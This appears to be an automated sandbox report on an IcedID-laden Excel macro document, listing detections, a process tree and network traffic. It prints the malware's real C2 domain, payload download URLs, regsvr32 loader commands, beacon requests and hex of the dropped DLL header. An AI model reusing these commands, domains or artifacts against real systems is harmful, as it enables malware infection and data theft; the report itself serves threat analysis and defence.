Play interactive tour

Edit tour

Windows Analysis Report HRcontacts7752205.xlsm

Overview

General Information

Sample Name:	HRcontacts7752205.xlsm
Analysis ID:	444719
MD5:	26dd94a1108bb7190c188eacb3d353a5
SHA1:	8ec75c0b4ed6c2dd1e7f4813e356996e822eea89
SHA256:	9c422676a3a9fee8bf036220d927feab80503846c52912dc829387a68428ad89
Tags:	IcedIDxlsm
Infos:
Most interesting Screenshot:

Detection

IcedID

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Found malware configuration

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

System process connects to network (likely due to code injection or exploit)

Yara detected IcedID

C2 URLs / IPs found in malware configuration

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Drops PE files to the user root directory

Office process drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Tries to detect virtualization through RDTSC time measurements

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to query network adapater information

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains an invalid checksum

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Registers a DLL

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2364 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

regsvr32.exe (PID: 2360 cmdline: regsvr32 -silent ..\XRAY.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2536 cmdline: regsvr32 -silent ..\XTOWN.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2212 cmdline: regsvr32 -silent ..\XZIBIT.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Malware Configuration

Threatname: IcedID

{"Campaign ID": 3565085024, "C2 url": "astrocycle.download"}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
00000003.00000002.2102293424.000000000029D000.00000004.00000020.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
00000004.00000002.2109483742.0000000000190000.00000004.00000001.sdmp	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x27c6:$internal_name: loader_dll_64.dll 0x30b4:$string0: _gat= 0x3114:$string1: _ga= 0x30ec:$string2: _gid= 0x30cc:$string3: _u= 0x3026:$string4: _io= 0x30d8:$string5: GetAdaptersInfo 0x2b16:$string6: WINHTTP.dll 0x27ea:$string7: DllRegisterServer 0x27fc:$string8: PluginInit 0x3080:$string9: POST 0x3140:$string10: aws.amazon.com
00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
00000005.00000002.2118144160.00000000003D6000.00000004.00000020.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
00000005.00000002.2117870904.0000000000110000.00000004.00000001.sdmp	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x27c6:$internal_name: loader_dll_64.dll 0x30b4:$string0: _gat= 0x3114:$string1: _ga= 0x30ec:$string2: _gid= 0x30cc:$string3: _u= 0x3026:$string4: _io= 0x30d8:$string5: GetAdaptersInfo 0x2b16:$string6: WINHTTP.dll 0x27ea:$string7: DllRegisterServer 0x27fc:$string8: PluginInit 0x3080:$string9: POST 0x3140:$string10: aws.amazon.com
00000003.00000002.2102204572.00000000000B0000.00000004.00000001.sdmp	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x27c6:$internal_name: loader_dll_64.dll 0x30b4:$string0: _gat= 0x3114:$string1: _ga= 0x30ec:$string2: _gid= 0x30cc:$string3: _u= 0x3026:$string4: _io= 0x30d8:$string5: GetAdaptersInfo 0x2b16:$string6: WINHTTP.dll 0x27ea:$string7: DllRegisterServer 0x27fc:$string8: PluginInit 0x3080:$string9: POST 0x3140:$string10: aws.amazon.com
00000003.00000002.2105528596.0000000003476000.00000004.00000001.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
Process Memory Space: regsvr32.exe PID: 2360	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
Process Memory Space: regsvr32.exe PID: 2212	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
Process Memory Space: regsvr32.exe PID: 2536	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.regsvr32.exe.b0000.0.raw.unpack	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x27c6:$internal_name: loader_dll_64.dll 0x30b4:$string0: _gat= 0x3114:$string1: _ga= 0x30ec:$string2: _gid= 0x30cc:$string3: _u= 0x3026:$string4: _io= 0x30d8:$string5: GetAdaptersInfo 0x2b16:$string6: WINHTTP.dll 0x27ea:$string7: DllRegisterServer 0x27fc:$string8: PluginInit 0x3080:$string9: POST 0x3140:$string10: aws.amazon.com
5.2.regsvr32.exe.110000.0.raw.unpack	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x27c6:$internal_name: loader_dll_64.dll 0x30b4:$string0: _gat= 0x3114:$string1: _ga= 0x30ec:$string2: _gid= 0x30cc:$string3: _u= 0x3026:$string4: _io= 0x30d8:$string5: GetAdaptersInfo 0x2b16:$string6: WINHTTP.dll 0x27ea:$string7: DllRegisterServer 0x27fc:$string8: PluginInit 0x3080:$string9: POST 0x3140:$string10: aws.amazon.com
3.2.regsvr32.exe.b0000.0.unpack	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x1bc6:$internal_name: loader_dll_64.dll 0x1f16:$string6: WINHTTP.dll 0x1bea:$string7: DllRegisterServer 0x1bfc:$string8: PluginInit
5.2.regsvr32.exe.110000.0.unpack	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x1bc6:$internal_name: loader_dll_64.dll 0x1f16:$string6: WINHTTP.dll 0x1bea:$string7: DllRegisterServer 0x1bfc:$string8: PluginInit
3.2.regsvr32.exe.310000.1.unpack	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x27c6:$internal_name: loader_dll_64.dll 0x30bc:$string0: _gat= 0x311c:$string1: _ga= 0x30f4:$string2: _gid= 0x30d4:$string3: _u= 0x302e:$string4: _io= 0x30e0:$string5: GetAdaptersInfo 0x2b16:$string6: WINHTTP.dll 0x27ea:$string7: DllRegisterServer 0x27fc:$string8: PluginInit 0x3088:$string9: POST 0x3148:$string10: aws.amazon.com
4.2.regsvr32.exe.190000.0.unpack	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x1bc6:$internal_name: loader_dll_64.dll 0x1f16:$string6: WINHTTP.dll 0x1bea:$string7: DllRegisterServer 0x1bfc:$string8: PluginInit
4.2.regsvr32.exe.190000.0.raw.unpack	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x27c6:$internal_name: loader_dll_64.dll 0x30b4:$string0: _gat= 0x3114:$string1: _ga= 0x30ec:$string2: _gid= 0x30cc:$string3: _u= 0x3026:$string4: _io= 0x30d8:$string5: GetAdaptersInfo 0x2b16:$string6: WINHTTP.dll 0x27ea:$string7: DllRegisterServer 0x27fc:$string8: PluginInit 0x3080:$string9: POST 0x3140:$string10: aws.amazon.com
5.2.regsvr32.exe.170000.1.unpack	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x27c6:$internal_name: loader_dll_64.dll 0x30bc:$string0: _gat= 0x311c:$string1: _ga= 0x30f4:$string2: _gid= 0x30d4:$string3: _u= 0x302e:$string4: _io= 0x30e0:$string5: GetAdaptersInfo 0x2b16:$string6: WINHTTP.dll 0x27ea:$string7: DllRegisterServer 0x27fc:$string8: PluginInit 0x3088:$string9: POST 0x3148:$string10: aws.amazon.com
4.2.regsvr32.exe.1b0000.1.unpack	MAL_IcedID_GZIP_LDR_202104	2021 initial Bokbot / Icedid loader for fake GZIP payloads	Thomas Barabosch, Telekom Security	0x27c6:$internal_name: loader_dll_64.dll 0x30bc:$string0: _gat= 0x311c:$string1: _ga= 0x30f4:$string2: _gid= 0x30d4:$string3: _u= 0x302e:$string4: _io= 0x30e0:$string5: GetAdaptersInfo 0x2b16:$string6: WINHTTP.dll 0x27ea:$string7: DllRegisterServer 0x27fc:$string8: PluginInit 0x3088:$string9: POST 0x3148:$string10: aws.amazon.com
Click to see the 4 entries

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 -silent ..\XRAY.dll, CommandLine: regsvr32 -silent ..\XRAY.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2364, ProcessCommandLine: regsvr32 -silent ..\XRAY.dll, ProcessId: 2360

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 3.2.regsvr32.exe.b0000.0.raw.unpack

Malware Configuration Extractor: IcedID {"Campaign ID": 3565085024, "C2 url": "astrocycle.download"}

Yara detected IcedID

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2102293424.000000000029D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2118144160.00000000003D6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2105528596.0000000003476000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2360, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2212, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2536, type: MEMORY

Source: unknown	HTTPS traffic detected: 13.225.75.73:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.225.75.73:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.225.75.73:443 -> 192.168.2.22:49174 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XRAY.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XTOWN.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XZIBIT.dll	Jump to behavior

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: lsdfik[1].fml.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Source: global traffic

DNS query: name: thousandsyears.download

Source: global traffic

TCP traffic: 192.168.2.22:49170 -> 13.225.75.73:443

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 172.67.198.51:80

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: astrocycle.download

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 06 Jul 2021 13:52:19 GMTContent-Type: application/octet-streamContent-Length: 57856Connection: keep-aliveContent-Disposition: attachment; filename=lsdfik.fmlCache-Control: max-age=14400CF-Cache-Status: HITAge: 6969Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=DUzIY8NjpYLnD8H1JMoEU5FsCi%2BXV1bDrV8YRruJgONWenQ0t7e6%2Fw8wPpCIo4IU8XFEPZenKfOXoZrfwtSLXLQnbtrUMpkpTmQmw%2BmW8J0jnzt0xjh0M8adINR04GIxKitoWD0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 66a9501c09d54e3d-FRAalt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 09 8f f1 c7 4d ee 9f 94 4d ee 9f 94 4d ee 9f 94 3e 8c 9e 95 4e ee 9f 94 4d ee 9e 94 4b ee 9f 94 4d ee 9f 94 49 ee 9f 94 e8 87 9f 95 4c ee 9f 94 e8 87 9d 95 4c ee 9f 94 52 69 63 68 4d ee 9f 94 00 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 86 06 e4 60 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 00 00 00 3a 00 00 00 a4 00 00 00 00 00 00 20 13 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 01 00 00 04 00 00 f8 ba 01 00 01 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 a0 ec 00 00 fc 00 00 00 9c ed 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 28 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 9e 00 00 00 50 00 00 00 a0 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 f0 00 00 00 02 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$MMM>NMKMILLRichMPEd`" : `(P@
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 06 Jul 2021 13:52:20 GMTContent-Type: application/octet-streamContent-Length: 57856Connection: keep-aliveContent-Disposition: attachment; filename=lsdfik.fmlCache-Control: max-age=14400CF-Cache-Status: HITAge: 6969Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=LVW6vHZp7K87ILsTe4p5DXCRp0UDq29H8gRgIkoTjLkuiKnJOfK4fXhKuNwrWccpuu1OS8ysSFRdzSxGfDLuqHR4mtbEatL7q%2BRlHekbOk1WEmYBS0L8XDY%2BWQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 66a9501d8d9d2c22-FRAalt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 09 8f f1 c7 4d ee 9f 94 4d ee 9f 94 4d ee 9f 94 3e 8c 9e 95 4e ee 9f 94 4d ee 9e 94 4b ee 9f 94 4d ee 9f 94 49 ee 9f 94 e8 87 9f 95 4c ee 9f 94 e8 87 9d 95 4c ee 9f 94 52 69 63 68 4d ee 9f 94 00 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 86 06 e4 60 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 00 00 00 3a 00 00 00 a4 00 00 00 00 00 00 20 13 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 01 00 00 04 00 00 f8 ba 01 00 01 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 a0 ec 00 00 fc 00 00 00 9c ed 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 28 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 9e 00 00 00 50 00 00 00 a0 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 f0 00 00 00 02 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 00 00 00 00 00 01 00 00 02 00 00 00 e0 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$MMM>NMKMILLRichMPEd`" : `(
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 06 Jul 2021 13:52:20 GMTContent-Type: application/octet-streamContent-Length: 57856Connection: keep-aliveContent-Disposition: attachment; filename=lsdfik.fmlCache-Control: max-age=14400CF-Cache-Status: HITAge: 6968Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=jXU%2B%2Bp%2FJgbj0LFWGQRw7qzCR87h1m71IAfBCM%2Fcx3EQ26d91XjAK7mMowKv%2Bmml0pNeS0Z5pKhEuCU6I1xuhj%2BNCbdtJWyY1j2YtAJBmorQD3VCnx2jzVe6qNMU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 66a9501efb062c2a-FRAalt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 09 8f f1 c7 4d ee 9f 94 4d ee 9f 94 4d ee 9f 94 3e 8c 9e 95 4e ee 9f 94 4d ee 9e 94 4b ee 9f 94 4d ee 9f 94 49 ee 9f 94 e8 87 9f 95 4c ee 9f 94 e8 87 9d 95 4c ee 9f 94 52 69 63 68 4d ee 9f 94 00 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 86 06 e4 60 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 00 00 00 3a 00 00 00 a4 00 00 00 00 00 00 20 13 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 01 00 00 04 00 00 f8 ba 01 00 01 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 a0 ec 00 00 fc 00 00 00 9c ed 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 28 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 9e 00 00 00 50 00 00 00 a0 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 f0 00 00 00 02 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 00 00 00 00 00 01 00 00 02 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$MMM>NMKMILLRichMPEd`" : `(P

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: __gads=3565085024:1:5640:55; _gat=6.1.7601.64; _ga=1.329303.0.5; _u=373135353735:416C627573:44333242364643344536304246463441; __io=0; _gid=67AFEDC5AC03Host: astrocycle.download
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: __gads=3565085024:1:5643:55; _gat=6.1.7601.64; _ga=1.329303.0.5; _u=373135353735:416C627573:42453544453833343741333731304336; __io=0; _gid=67AFEDC5AC03Host: astrocycle.download
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: __gads=3565085024:1:5647:54; _gat=6.1.7601.64; _ga=1.329303.0.5; _u=373135353735:416C627573:32333439353742364336373644424644; __io=0; _gid=67AFEDC5AC03Host: astrocycle.download

Source: Joe Sandbox View	IP Address: 172.67.198.51 172.67.198.51
Source: Joe Sandbox View	IP Address: 13.225.75.73 13.225.75.73

Source: Joe Sandbox View

JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

Source: global traffic	HTTP traffic detected: GET /div/44376,8555986111.jpg HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: thousandsyears.downloadConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /div/44376,8555986111.jpg HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: voopeople.funConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /div/44376,8555986111.jpg HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: uppercilio.funConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 13.225.75.73:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.225.75.73:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.225.75.73:443 -> 192.168.2.22:49174 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\19499ACE.png

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /div/44376,8555986111.jpg HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: thousandsyears.downloadConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /div/44376,8555986111.jpg HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: voopeople.funConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /div/44376,8555986111.jpg HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: uppercilio.funConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: __gads=3565085024:1:5640:55; _gat=6.1.7601.64; _ga=1.329303.0.5; _u=373135353735:416C627573:44333242364643344536304246463441; __io=0; _gid=67AFEDC5AC03Host: astrocycle.download
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: __gads=3565085024:1:5643:55; _gat=6.1.7601.64; _ga=1.329303.0.5; _u=373135353735:416C627573:42453544453833343741333731304336; __io=0; _gid=67AFEDC5AC03Host: astrocycle.download
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: __gads=3565085024:1:5647:54; _gat=6.1.7601.64; _ga=1.329303.0.5; _u=373135353735:416C627573:32333439353742364336373644424644; __io=0; _gid=67AFEDC5AC03Host: astrocycle.download

